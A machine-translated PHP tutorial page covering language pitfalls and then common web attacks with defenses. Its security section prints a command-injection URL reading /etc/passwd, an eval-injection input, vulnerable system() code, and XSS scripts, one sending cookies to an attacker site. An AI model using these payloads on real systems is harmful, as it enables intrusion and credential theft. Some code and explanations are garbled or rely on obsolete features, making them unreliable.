PHP programming considerations_PHP tutorial

WBOY
Release: 2016-07-14 10:08:36
Original
686 people have browsed it

1. PHP’s implicit ternary operator (?:) priority issue:

Example 1:
$person = $who or $person = "laruence";
//Actually equivalent to:
$person = emptyempty($who)? "laruence" : $who;
Example 2
$arr = array(1=>1,3=>3);
$i = 2;
$a = 'test' . isset($arr[$i]) ? $arr[$i] : $i;
What is $a? This question seems simple at first glance,
$a = ‘test2’;
In fact, after careful consideration and running, the result is notice: Undefined index 2..
Due to priority issues, the connector has a higher priority than the ternary operator.
The first is to judge ' test'. isset($arr[$i]) This string is always true, therefore:
$a = $arr[$i]; causing php to prompt.
2. PHP function names and class names are not case-sensitive, but variable names are case-sensitive.
So the php modules I write often have capitalization problems and fail to compile.
3. Serialized delivery problem
Compress complex data types into a string
serialize() encodes variables and their values ​​into text form
unserialize() restores the original variables
$stooges = array('Moe','Larry','Curly');
$new = serialize($stooges);
print_r($new);echo "
";
print_r(unserialize($new));
Result: a:3:{i:0;s:3:"Moe";i:1;s:5:"Larry";i:2;s:5:"Curly";}
Array ( [0] => Moe [1] => Larry [2] => Curly )
When these serialized data are placed in the URL and passed between pages, you need to call urlencode() on the data to ensure that the URL metacharacters in it are processed:
$shopping = array('Poppy seed bagel' => 2,'Plain Bagel' =>1,'Lox' =>4);
echo 'next';
The settings of the margin_quotes_gpc and magic_quotes_runtime configuration items will affect the data passed to unserialize().
If the magic_quotes_gpc option is enabled, data passed in URLs, POST variables, and cookies must be processed with stripslashes() before deserialization:
$new_cart = unserialize(stripslashes($cart)); //If magic_quotes_gpc is turned on
$new_cart = unserialize($cart);
If magic_quotes_runtime is enabled, serialized data must be processed with addslashes() before writing to the file, and stripslashes() before reading them:
$fp = fopen('/tmp/cart','w');
fputs($fp,addslashes(serialize($a)));
fclose($fp);
//If magic_quotes_runtime is turned on
$new_cat = unserialize(stripslashes(file_get_contents('/tmp/cart')));
//If magic_quotes_runtime is turned off
$new_cat = unserialize(file_get_contents('/tmp/cart'));
When magic_quotes_runtime is enabled, serialized data read from the database must also be processed by stripslashes(), and serialized data saved to the database must be processed by addslashes() so that it can be properly processed storage.
mysql_query("insert into cart(id,data) values(1,'".addslashes(serialize($cart))."')");
$rs = mysql_query('select data from cart where id=1');
$ob = mysql_fetch_object($rs);
//If magic_quotes_runtime is turned on
$new_cart = unserialize(stripslashes($ob->data));
//If magic_quotes_runtime is turned off
$new_cart = unserialize($ob->data);
When deserializing an object, PHP will automatically call its __wakeUp() method. This allows the object to re-establish various states that were not preserved during serialization. For example: database connection, etc.
4. Reference notes
Reference in PHP means accessing the same variable content with different names. The reference is not a C pointer (the pointer in C language stores the content of the variable and the address stored in the memory). It is another alias of the variable. Or mapping. Note that in PHP, variable names and variable contents are different, so the same content can have different names. The closest analogy is Unix's filenames and the files themselves - the variable names are the directory entries, and the variable contents are the files themselves. References can be thought of as tight links in a Unix file system or as shortcuts to wins.
1) Unset a reference, which only breaks the binding between the variable name and the variable content. This does not mean that the variable contents are destroyed
Example: Will not unset $b, just $a.
$a = 1;
$b =& $a ;
unset ( $a );
echo $b; //Output: 1:
The results of using unset($a) and $a=null are different. If the block of memory has only one mapping of $a, then unset($a) is equivalent to $a=null. The reference count of the memory becomes 0 and it is automatically recycled; if the block of memory has two mappings of $a and $b , then unset($a) will cause $a=null and $b remains unchanged, and $a=null will cause $a=$b=null.
Cause: Assigning a variable to null will cause the reference count of the memory block corresponding to the variable to be directly set to 0 and automatically recycled.
2) PHP references use reference counting and copy-on-write
Many people misunderstand that references in Php are the same as pointers in C. In fact, they are not, and they are very different. Except for the pointers in C language that do not need to be explicitly declared during the array transfer process, other points need to be defined using *. However, the pointer to address (similar to a pointer) function in PHP is not implemented by the user himself, but is implemented by the Zend core. Yes, the reference in PHP adopts the principle of "reference counting, copy-on-write" (Copy-on-Write, also abbreviated as COW), as the name suggests, it actually copies a copy of the memory when writing. Modify. )
That is, unless a write operation occurs, variables or objects pointing to the same address will not be copied, such as the following code:
$a = array('a','c'...'n');
$b = $a;
If the program only executes here, $b and $b are the same, but they do not occupy different memory spaces like C. Instead, they point to the same memory space. This is php and c. The difference is that you don’t need to write $b=&$a to mean that $b points to the memory of $a. zend has already implemented the reference for you, and zend will be very smart to help you judge when to do this and when. It shouldn't be handled this way.
If you continue to write the following code later, add a function, pass parameters by reference, and print out the array size.
function printArray(&$arr) //pass by reference
{
print(count($arr));
}
printArray($a);
In the above code, we pass the $a array into the printArray() function by reference. The zend engine will think that printArray() may cause changes to $a, and will automatically produce an $a for $b. Copy the data and re-apply a piece of memory for storage. This is the concept of "reference counting, copy-on-write" mentioned earlier.
Intuitive understanding: $a will use its own original memory space, while $b will use the newly opened memory space, and this space will use the original (before $a or $b changes) content space of $a Copy the content and then make corresponding changes.
If we change the above code to the following:
function printArray($arr) //Value transfer
{
print(count($arr));
}
printArray($a);
The above code directly passes the $a value to printArray(). There is no reference transfer at this time, so there is no copy-on-write.
To learn more about citations, please see: Detailed explanation of citations in PHP (reference counting, copy-on-write)
5. Encoding issues
The program code uses UTF-8 code, but the strlen function calculates the number of bytes of the string instead of the number of characters?
$str = "Hello hello";
echo strlen($str);
Result: ANSI=9 and utf-8=11, utf-8 Chinese character encoding is 3 bytes. To get the number of characters, use mb_strlen().
6. Three ways to get parameters in PHP
Method 1 Use $argc $argv
if ($argc > 1){
print_r($argv);
}
Run /usr/local/php/bin/php ./getopt.php -f 123 -g 456
Run result:
# /usr/local/php/bin/php ./getopt.php -f 123 -g 456
Array
(
>
[1] => -f
>
[3] => -g
[4] => 456
)
Method 2: Use getopt function()
$options = "f:g:";
$opts = getopt( $options );
print_r($opts);
Run /usr/local/php/bin/php ./getopt.php -f 123 -g 456
Running results:
Array
(
>
        [g] => 456
)
Method 3 Prompts the user for input and then obtains the input parameters. A bit like C language
fwrite(STDOUT, "Enter your name: ");
$name = trim(fgets(STDIN));
fwrite(STDOUT, "Hello, $name!");
Run /usr/local/php/bin/php ./getopt.php from the command line
Running results
Enter your name: francis
Hello, francis!
7. PHP strings can be used as arrays, just like C pointer strings
$s = '12345';
$s[$s[0]] = 0;
echo $s;
?>
The result is 10345
8. Efficient way to write PHP:
Please see: Highly efficient way to write PHP (detailed explanation of the reasons)
9. PHP security vulnerabilities:
There are mainly the following attack methods against PHP websites:
1. Command Injection
The following 5 functions can be used in PHP to execute external applications or functions: system, exec, passthru, shell_exec, "(same function as shell_exec)"
For example:
$dir = $_GET["dir"];
if (isset($dir)) {  
echo "";
system("ls -al ".$dir);
echo "";
}
?>
We submit http://www.test.com/ex1.php?dir=| cat /etc/passwd, and the command becomes system("ls -al | cat /etc/passwd"); Our server user The information may have been stolen.
2. eval injection (Eval Injection)
The eval function executes the input string parameters as PHP program code. Eval injection usually occurs when the attacker can control the input string.
$var = "var";
if (isset($_GET["arg"]))
{
$arg = $_GET["arg"];
eval("$var = $arg;");
echo "$var =".$var;
}
?>
The vulnerability occurred when we submitted http://www.sectop.com/ex2.php?arg=phpinfo();
Methods to prevent command injection and eval injection
1) Try not to execute external commands.
2) Use custom functions or function libraries to replace the functions of external commands. Some servers even directly prohibit the use of these functions.
3) Use the escapeshellarg function to process command parameters. The esacpeshellarg function will escape any characters that cause the parameters or the end of the command. Single quotation marks "'" are replaced with "'", and double quotation marks """ are replaced with " "", semicolon ";" is replaced with ";"
3. Client-side script attack (Script Insertion)
Client-side script implantation attack steps
1). The attacker logs in to the website after registering as a normal user
2) Open the message page and insert the attack js code
3) Other users log in to the website (including administrators) and browse the content of this message
4). The js code hidden in the message content was executed, and the attack was successful
The form inputs some scripts that the browser can execute:
Insert <script>while(1){windows.open();}</script> infinite pop-up box
Insert<script>location.href="http://www.sectop.com";</script> Jump to phishing page
The best way to prevent malicious HTML tags is to use htmlspecailchars or htmlentities to convert certain strings into html entities.
4. Cross Site Scripting (XSS)
Malicious attackers insert malicious HTML code into the Web page. When the user browses the page, the HTML code embedded in the Web will be executed, thereby achieving the special purpose of the malicious user.
Cross-site scripting is mainly used by attackers to read cookies or other personal data of website users. Once the attacker obtains this data, he can pretend to be this user to log in to the website and obtain this user's permissions.
General steps for cross-site scripting attacks:
1) The attacker sends the xss http link to the target user in some way, such as comment form:
Insert <script>document.location= “go.somewhere.bad?cookie=+“this.cookie</script>
Or link:
http://w w w.my.site/index.php?user=< script >document.location="http://w w w.atacker.site/get.php?cookie="+document .cookie;
2) The target user logged in to this website and opened the xss link sent by the attacker during the login process
3), the website executed this xss attack script
4) The target user’s page jumps to the attacker’s website, and the attacker obtains the target user’s information
5) The attacker uses the target user’s information to log in to the website and complete the attack
The best way to prevent malicious HTML tags is to use htmlspecailchars or htmlentities to convert certain strings into html entities.
5. SQL injection attack (SQL injection)
The most effective defense against SQL injection is to use prepared statements:
Prepared statements (also called prepared statements) are a kind of query. They are first sent to the server for pre-compilation and preparation, and when the query is executed later, it is told where the parameters are stored.
The advantages:
1) Escape parameter values. So there is no need to call something like mysqli::real_escape_string or put the parameters in quotes.
2) When executed multiple times in a script, the performance of prepared statements is usually better than sending the query over the network each time. When a query is executed again, only the parameters are sent to the database, which takes up less space. .
1) Use PDO (PHP Data Objects):
PHP PDO::prepare() and execute()
$preparedStatement = $db->prepare('INSERT INTO table (column) VALUES (:column)');
$preparedStatement->execute(array(':column' => $unsafeValue));
2) Use mysqli:
$stmt = $dbConnection->prepare('SELECT * FROM employees WHERE name = ?');
$stmt->bind_param('s', $name);
$stmt->execute();
$result = $stmt->get_result();
while ($row = $result->fetch_assoc()) {
// do something with $row
}
6. Cross Site Request Forgeries (CSRF)
7. Session Hijacking
8. Session Fixation
9. HTTP Response Splitting attack (HTTP Response Splitting)
10. File Upload Attack
11. Directory Traversal
12. Remote file inclusion attack (Remote Inclusion)
13. Dynamic Function Injection Attack (Dynamic Variable Evaluation)
14. URL attack
15. Spoofed Form Submissions
16. Spoofed HTTP Requests
Several important php.ini options: register_globals, magic_quotes, safe_mode. These options will be deprecated in PHP5.4.
register_globals:
php>=4.2.0, the default value of register_globals option in php.ini is Off by default. When register_globals
When
is set to On, the program can receive various environment variables from the server, including variables submitted by the form, and because PHP does not have to initialize the value of the variable in advance, it leads to great security risks.
Be sure to disable register_globals. If register_globals is enabled, it's possible to do careless things like use a $variable to replace a GET or POST string with the same name. By disabling this setting, PHP forces you to reference the correct variables in the correct namespace. To use variables from a form POST, $_POST['variable'] should be quoted. This way you won't mistake this particular variable for a cookie, session, or GET variable.
safe_mode:
Safe mode, PHP is used to restrict access to documents, restrict access to environment variables, and control the execution of external programs. To enable safe mode, safe_mode=On in php.ini must be set
magic_quotes
is used to automatically escape the input information of the PHP program. All single quotes ("'"), double quotes ("""), backslashes ("") and null characters (NULL) are automatically escaped. Add backslashes to escape magic_quotes_gpc=On to set magicquotes to On, which will affect HTTP request data (GET, POST, Cookies). Programmers can also use addslashes to escape submitted HTTP request data, or use stripslashes to remove the escaping
.

www.bkjia.comtruehttp: //www.bkjia.com/PHPjc/477758.htmlTechArticle1. PHP’s implicit ternary operator (?:) priority issue: Example 1: $person = $who or $person = laruence; //actually equivalent to: $person = emptyempty($who)? laruence : $who; Example 2 $arr =...
source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template